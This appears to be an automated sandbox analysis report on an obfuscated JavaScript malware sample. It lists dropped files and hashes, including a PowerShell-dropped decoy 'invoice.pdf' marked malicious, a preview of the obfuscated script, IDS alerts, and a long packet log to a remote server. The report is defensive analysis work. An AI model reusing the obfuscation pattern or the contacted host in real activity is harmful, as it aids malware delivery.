..WR...6...^.D..A...d1\|..F.g..g;.\...m..V..0..le.......4J..p.(..l'.....n_........n.0..P...Y.KJ.S.B.><.\C.}..~....,..k..V....XI#w..B..Q.B...t..\.lB;&!.n.(._=..>...+..a.......N.X{.{..ly.$V......@..E.....R.j.x[..V.....Ij.....mQ....-D....U1..J...F+.%...6.g.T.....X....(...w...8a..\1..^z.6...@R....l.i.A..,.......o..~^bM.E..qW^?.......!..)u.(&*.v....."c.H..Pp..uy...DP8.m3.:T..U=............0-~.B..w...D..'

C:\Users\user\AppData\Local\Temp\acrocef_low\e3db7edc-b0cd-4375-902a-aa8505cd4a24.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17561), with CRLF line terminators
Entropy (8bit):	4.879144146859882
TrID:
File name:	12662108703247616042.js
File size:	20'914 bytes
MD5:	101fadf1302f9fc4df2339bbe5d532fe
SHA1:	4c6d4c1adc40a02b0662045764276fc2ecd819a8
SHA256:	fb90109e5e1033c1b535869a2a6d662e5f0d61ca73c717ebb85083b58382d583
SHA512:	d25cdeaac51440299f047d40c87dc53d3204e4aee31b582fc3dd8ad38a10d3d87887af282f25dbabc7f06497a61feec74f2bce7d7dfbce7878813627cf6c6154
SSDEEP:	384:eu6sT8tMmZrPdNXPQ+ueoXOp1eqoL1Bgvj4bsSON:ePsT8tMmZbdG+ueukeqoL1BgkdS
TLSH:	EA925484C549DB838CE902F8A6E63F6308D4F0CA9194D54D53DFA89DC96A9BCE2D3274
File Content Preview:	function pvygthzh(){ohbpr=[1031,3079,5127,4103,2055,3072];var ngeaydis=this[vtxsaislv+pnwdjbl+emsbyn+bnfafi+appmaln+cedcygyf+lqndg+agigse](this[ltkpqpo+jkmmfix+fsbwtbnvl+emsbyn+wmxdq+vtxsaislv+agigse][nwcqe+emsbyn+appmaln+pnwdjbl+agigse+appmaln+aavutttc+e

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:42:19.111414+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49784	193.143.1.205	80	TCP
2025-01-10T17:42:22.262792+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49806	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:42:18.265852928 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:18.271348953 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:18.271439075 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:18.274677992 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:18.280210972 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111275911 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111335039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111413956 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.111435890 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111449957 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111496925 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.111558914 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111571074 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111701012 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111709118 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.111721039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111732960 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111745119 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.111790895 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.111790895 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.116240978 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.116262913 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.116434097 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.178606987 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.178623915 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.178699970 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.236656904 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.236674070 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.236802101 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.236823082 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.236835003 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.236855984 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.236932039 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.236960888 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.237046957 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.237055063 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.237596989 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.237667084 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.237674952 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.237715960 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.237715960 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.237951994 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238027096 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238040924 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238070965 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.238126040 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238293886 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.238847017 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238857985 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238871098 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238883018 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.238898039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.239010096 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.239010096 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.239458084 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.239500999 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.239854097 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.249336004 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.249351025 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.249531984 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.271056890 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.271075010 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.271337032 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.327888012 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.363004923 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363023043 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363038063 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363070011 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363082886 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363085032 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.363095999 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363301039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363343000 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.363343000 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.363390923 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363404036 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363532066 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.363549948 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363563061 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.363574982 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.364176035 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.364269972 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.364284039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.364331007 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.364331007 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.364331007 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.364387035 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.364450932 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.364463091 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.365710020 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.365755081 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.365772963 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.365792036 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.365792990 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.365812063 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.365947962 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.365962982 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.365974903 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366122007 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366180897 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366194010 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366228104 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.366228104 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.366228104 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.366319895 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366331100 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366343021 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366928101 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366952896 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.366952896 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.366975069 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.366988897 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.367130995 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.367141962 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.367152929 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.367214918 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.367214918 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.367214918 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.367835999 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.367878914 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.367960930 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.367974043 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.368036985 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.368036985 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.368097067 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.368109941 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.368443012 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.368741035 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.368755102 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.368877888 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.454406023 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.468861103 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.468899965 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.468913078 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.468950987 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.468950987 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.469024897 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.469089985 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.469137907 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.486857891 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.486931086 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.486943007 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487021923 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487036943 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487116098 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487128973 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487143993 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487143993 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487221956 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487260103 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487267971 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487267971 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487354994 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487365961 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487396955 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487437010 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487517118 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487528086 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487538099 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487653971 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487668037 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487673998 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487747908 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.487818956 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487895012 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.487906933 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488018990 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.488029003 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488043070 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488157034 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488164902 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.488169909 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488392115 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488440037 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488451958 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488554001 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.488576889 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488590956 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488605022 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488814116 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488826036 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488838911 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.488842010 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.488857985 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.488955021 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.488990068 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489274979 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489339113 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489408970 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489419937 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489526033 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489603996 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.489638090 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489650011 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489661932 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489674091 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489712954 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.489881039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.489892960 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490015030 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.490199089 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490273952 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490286112 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490415096 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490427017 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490439892 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490628958 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490641117 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490653038 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490655899 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.490655899 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.490664005 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.490742922 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.490742922 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.546849012 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.546866894 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.547002077 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.561057091 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561758995 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561772108 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561784983 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561799049 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561810017 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561820984 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561825037 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.561835051 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561849117 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561862946 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.561914921 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.561914921 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.561914921 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.579129934 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579184055 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579195976 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579351902 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.579379082 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579391956 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579402924 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579449892 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.579449892 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.579621077 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579631090 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579732895 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579746008 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579756021 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579777002 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.579777002 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.579962015 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579973936 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579986095 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.579998016 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580013037 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580039024 CET	49784	80	192.168.2.6	193.143.1.205
